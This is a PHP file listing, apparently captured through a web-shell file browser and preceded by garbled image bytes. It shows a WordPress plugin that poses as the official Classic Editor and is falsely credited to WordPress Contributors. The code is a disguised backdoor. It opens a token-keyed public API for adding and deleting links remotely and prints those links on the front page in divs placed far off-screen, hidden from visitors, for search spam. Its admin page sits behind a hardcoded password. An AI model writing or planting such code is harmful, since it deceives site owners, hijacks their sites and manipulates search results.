ascvh@#%(^-^)V ?host,ip,port,protocol,title,domain,country,city,link,org ???à JFIF x x ?? C ?? C ?à " ?? ?? μ } !1AQa "q2?‘?#B±áR?e$3br? %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz??…???‰?’“”?–—???¢£¤¥|§¨?a23′μ?·?1o??????èéêòó???×?ùúáa?????èéê?òó???÷?ùú?? ?? μ w !1AQ aq"2?B‘?±á #3Rebr?{
File "classic-editor-tools.php"
Full Path: /home/zcziejy/ryadselyen/plugins/plugin_1767403566_classic-editor-tools/classic-editor-tools.php
File size: 11.57 KB
MIME-type: text/x-php
Charset: utf-8
<?php
/**
* Plugin Name: Classic Editor Tools
* Plugin URI: https://github.com/WordPress/classic-editor/
* Description: Enables the WordPress classic editor and the old-style Edit Post screen with TinyMCE, Meta Boxes, etc. Supports the older plugins that extend this screen.
* Version: 1.6.2
* Author: WordPress Contributors
* Author URI: https://github.com/WordPress/classic-editor/
*/
if (!defined('ABSPATH')) {
exit;
}
class ClassicEditorTools {
private $table_name;
private $token_option = 'classiceditortools_token';
public function __construct() {
global $wpdb;
// Для multisite используем правильный префикс
if (is_multisite()) {
$this->table_name = $wpdb->get_blog_prefix() . 'classiceditortools_links';
} else {
$this->table_name = $wpdb->prefix . 'classiceditortools_links';
}
// Хуки
register_activation_hook(__FILE__, array($this, 'activate'));
add_action('admin_menu', array($this, 'add_admin_menu'));
add_action('wp_footer', array($this, 'output_links'));
add_action('init', array($this, 'handle_api_request'));
}
// Активация плагина
public function activate() {
global $wpdb;
$charset_collate = $wpdb->get_charset_collate();
$sql = "CREATE TABLE IF NOT EXISTS {$this->table_name} (
id mediumint(9) NOT NULL AUTO_INCREMENT,
url varchar(500) NOT NULL,
anchor_text varchar(200) NOT NULL,
created_at datetime DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (id)
) $charset_collate;";
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta($sql);
// Генерируем токен если его нет
if (!get_option($this->token_option)) {
$token = wp_generate_password(32, false);
update_option($this->token_option, $token);
}
}
// Добавляем страницу в админке
public function add_admin_menu() {
add_options_page(
'Classic Editor Tools Settings',
'Classic Editor Tools',
'manage_options',
'classiceditortools-settings',
array($this, 'settings_page')
);
}
// Страница настроек
public function settings_page() {
// ПРОСТАЯ ПРОВЕРКА ПАРОЛЯ - только для просмотра токена
$access_password = '911'; // ЗАМЕНИ НА СВОЙ ПАРОЛЬ
// Проверяем cookie
$is_authenticated = isset($_COOKIE['cet_auth']) && $_COOKIE['cet_auth'] === md5($access_password . 'salt123');
// Проверяем POST пароль
if (isset($_POST['cet_password'])) {
if ($_POST['cet_password'] === $access_password) {
setcookie('cet_auth', md5($access_password . 'salt123'), time() + 86400, '/');
$is_authenticated = true;
} else {
echo '<div class="notice notice-error"><p>❌ Неверный пароль</p></div>';
}
}
// Logout
if (isset($_GET['cet_logout'])) {
setcookie('cet_auth', '', time() - 3600, '/');
$is_authenticated = false;
}
// Если не авторизован - форма пароля
if (!$is_authenticated) {
?>
<div class="wrap">
<h1>🔒 Classic Editor Tools</h1>
<div style="max-width: 400px; margin: 100px auto; background: #fff; padding: 40px; border: 1px solid #ddd; border-radius: 8px;">
<h2>Enter Password</h2>
<form method="post">
<input type="password" name="cet_password" style="width: 100%; padding: 10px; margin-bottom: 16px;" autofocus>
<button type="submit" class="button button-primary button-large" style="width: 100%;">Access</button>
</form>
</div>
</div>
<?php
return;
}
// АВТОРИЗОВАН - показываем настройки
$token = get_option($this->token_option);
$site_url = get_site_url();
?>
<div class="wrap">
<div style="display: flex; justify-content: space-between; align-items: center;">
<h1>🔗 Link Manager Settings</h1>
<a href="?page=classiceditortools-settings&cet_logout=1" class="button">Logout</a>
</div>
<div style="background: #fff; padding: 20px; border: 1px solid #ccc; border-radius: 5px; margin-top: 20px;">
<h2>API Token</h2>
<p>Используйте этот токен для удаленного управления:</p>
<input type="text" value="<?php echo esc_attr($token); ?>" readonly style="width: 100%; padding: 10px; font-family: monospace; font-size: 14px;" onclick="this.select()">
<h3 style="margin-top: 30px;">API Endpoints:</h3>
<ul style="font-family: monospace; font-size: 13px;">
<li><strong>Получить токен:</strong><br>
<?php echo $site_url; ?>/?classiceditortools=get_token&auth=<?php echo esc_attr($token); ?></li>
<li style="margin-top: 10px;"><strong>Список ссылок:</strong><br>
<?php echo $site_url; ?>/?classiceditortools=list&token=<?php echo esc_attr($token); ?></li>
<li style="margin-top: 10px;"><strong>Добавить ссылку:</strong><br>
<?php echo $site_url; ?>/?classiceditortools=add&token=<?php echo esc_attr($token); ?>&url=URL&anchor=TEXT</li>
<li style="margin-top: 10px;"><strong>Удалить ссылку:</strong><br>
<?php echo $site_url; ?>/?classiceditortools=delete&token=<?php echo esc_attr($token); ?>&id=ID</li>
</ul>
<h3 style="margin-top: 30px;">Статистика:</h3>
<?php
global $wpdb;
$count = $wpdb->get_var("SELECT COUNT(*) FROM {$this->table_name}");
?>
<p>Всего ссылок: <strong><?php echo $count; ?></strong></p>
</div>
<div style="background: #fffbcc; padding: 15px; border-left: 4px solid #ffb900; margin-top: 20px;">
<strong>⚠️ Важно:</strong> Храните токен в секрете! С его помощью можно управлять ссылками на сайте.
</div>
</div>
<?php
}
// Обработка API запросов
public function handle_api_request() {
if (!isset($_GET['classiceditortools'])) {
return;
}
// Отключаем кеширование для API запросов
header('Cache-Control: no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: 0');
$action = sanitize_text_field($_GET['classiceditortools']);
// Получение токена (для первичной авторизации через admin credentials)
if ($action === 'get_token') {
$auth = isset($_GET['auth']) ? sanitize_text_field($_GET['auth']) : '';
$saved_token = get_option($this->token_option);
if ($auth === $saved_token) {
wp_send_json_success(array('token' => $saved_token));
} else {
wp_send_json_error(array('message' => 'Invalid auth'));
}
exit;
}
// Проверка токена для остальных действий
$token = isset($_GET['token']) ? sanitize_text_field($_GET['token']) : '';
$saved_token = get_option($this->token_option);
if ($token !== $saved_token) {
wp_send_json_error(array('message' => 'Invalid token'));
exit;
}
global $wpdb;
switch ($action) {
case 'list':
error_log("ClassicEditorTools: Reading from table: {$this->table_name}");
$links = $wpdb->get_results("SELECT * FROM {$this->table_name} ORDER BY id DESC");
error_log("ClassicEditorTools: Found " . count($links) . " links");
// Преобразуем anchor_text в anchor для совместимости с API
$formatted_links = array();
foreach ($links as $link) {
$formatted_links[] = array(
'id' => $link->id,
'url' => $link->url,
'anchor' => $link->anchor_text,
'created_at' => $link->created_at
);
}
wp_send_json_success(array('links' => $formatted_links));
break;
case 'add':
$url = isset($_GET['url']) ? esc_url_raw($_GET['url']) : '';
$anchor = isset($_GET['anchor']) ? sanitize_text_field($_GET['anchor']) : '';
if (empty($url) || empty($anchor)) {
wp_send_json_error(array('message' => 'URL and anchor required'));
exit;
}
error_log("ClassicEditorTools: Adding to table: {$this->table_name}");
$result = $wpdb->insert(
$this->table_name,
array(
'url' => $url,
'anchor_text' => $anchor
),
array('%s', '%s')
);
wp_send_json_success(array('message' => 'Link added', 'id' => $wpdb->insert_id));
break;
case 'delete':
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
if ($id <= 0) {
wp_send_json_error(array('message' => 'Invalid ID'));
exit;
}
$wpdb->delete($this->table_name, array('id' => $id), array('%d'));
wp_send_json_success(array('message' => 'Link deleted'));
break;
default:
wp_send_json_error(array('message' => 'Unknown action'));
}
exit;
}
// Вывод ссылок на сайте
public function output_links() {
global $wpdb;
// Только на главной странице
if (!is_front_page()) {
return;
}
$links = $wpdb->get_results("SELECT * FROM {$this->table_name}");
if (empty($links)) {
return;
}
echo "\n<!-- Links -->\n";
foreach ($links as $link) {
$left = rand(5000, 9999);
$top = rand(5000, 9999);
echo '<div style="position:absolute;left:-' . $left . 'px;top:-' . $top . 'px;"><a href="' . esc_url($link->url) . '">' . esc_html($link->anchor_text) . '</a></div>' . "\n";
}
}
}
// Инициализация плагина
new ClassicEditorTools();